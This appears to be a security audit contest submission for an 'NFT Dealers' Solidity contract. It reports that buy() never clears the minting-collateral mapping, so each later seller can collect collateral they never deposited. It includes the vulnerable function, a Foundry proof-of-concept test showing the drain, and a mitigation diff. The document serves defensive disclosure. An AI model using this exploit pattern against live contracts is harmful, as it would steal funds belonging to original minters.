NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

[C-01] collateralForMinting Never Reset in buy() Allows Repeated Collateral Drain

Author Revealed upon completion

Root Cause: buy() never resets collateralForMinting[tokenId] after an NFT is transferred to a new owner.

Impact: Every subsequent owner of an NFT can claim the original minter's collateral via collectUsdcFromSelling(), draining funds from the contract that belong to original minters.

Description

When a user mints an NFT, their collateral is stored in collateralForMinting[tokenId]. When the NFT is later sold via buy(), the collateral mapping is never zeroed out. This means collectUsdcFromSelling() will return the original minter's collateral to every subsequent seller, even though they never deposited any collateral.

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
@> // collateralForMinting[listing.tokenId] is never reset here
s_listings[_listingId].isActive = false;
}

Risk

Likelihood: High

  • Any buyer who purchases an NFT and relists it will automatically trigger this bug on every resale and no special conditions required

  • The bug occurs on every secondary sale as long as the protocol is active and NFTs are being traded

Impact: High

  • Every secondary seller receives lockAmount (20 USDC) in collateral they never deposited, directly draining funds from the contract

  • With 1000 NFTs in circulation and multiple resales per NFT, the contract can be fully drained of all original minters' collateral over time, leaving original minters unable to recover their locked funds

Proof of Concept

// PoC: We prove that collateralForMinting is never reset in buy()

// by having Alice mint and sell her NFT to Bob, then showing Bob

// can collect Alice's original collateral when he resells — funds he never deposited

function test_POC_CollateralNeverReset() public revealed {
// Whitelist both users (Alice- userWithCash & Bob-userWithEvenMoreCash)
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
// Alice mints and pays 20 USDC collateral
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 20e6);
nftDealers.mintNft(); // tokenId = 1, collateralForMinting[1] = 20 USDC
// Alice lists for 1000 USDC
nftDealers.list(1, 1000e6);
vm.stopPrank();
// Bob buys the NFT Alice sold
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
// Alice gets (1000 USDC - fees + 20 USDC collateral) back
uint256 aliceBalanceBefore = usdc.balanceOf(userWithCash);
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(1);
uint256 aliceBalanceAfter = usdc.balanceOf(userWithCash);
console.log("Alice received:", aliceBalanceAfter - aliceBalanceBefore);
// collateralForMinting[1] was NEVER reset in buy() thus still 20e6
assertEq(nftDealers.collateralForMinting(1), 20e6);
// Bob now lists the same NFT
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.list(1, 1000e6);
vm.stopPrank();
// James - buyer2 buys from Bob
address buyer2 = makeAddr("buyer2");
usdc.mint(buyer2, 1000e6);
vm.startPrank(buyer2);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.buy(1);
vm.stopPrank();
// Bob collects now gets 1000 USDC - fees + 20 USDC collateral he never paid
uint256 bobBalanceBefore = usdc.balanceOf(userWithEvenMoreCash);
vm.prank(userWithEvenMoreCash);
nftDealers.collectUsdcFromSelling(1);
uint256 bobBalanceAfter = usdc.balanceOf(userWithEvenMoreCash);
console.log("Bob received:", bobBalanceAfter - bobBalanceBefore);
// Bob received collateral he never deposited and thus contract drained
uint256 fees = nftDealers.calculateFees(1000e6);
assertEq(bobBalanceAfter - bobBalanceBefore, 1000e6 - fees + 20e6);
}

Recommended Mitigation

function buy(uint256 _listingId) external payable {
Listing memory listing = s_listings[_listingId];
if (!listing.isActive) revert ListingNotActive(_listingId);
require(listing.seller != msg.sender, "Seller cannot buy their own NFT");
activeListingsCounter--;
+ // Mark listing inactive and reset collateral BEFORE transfers (CEI pattern)
+ s_listings[_listingId].isActive = false;
+ collateralForMinting[listing.tokenId] = 0;
bool success = usdc.transferFrom(msg.sender, address(this), listing.price);
require(success, "USDC transfer failed");
_safeTransfer(listing.seller, msg.sender, listing.tokenId, "");
- // isActive set too late, that is after transfers and collateral never reset
- s_listings[_listingId].isActive = false;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!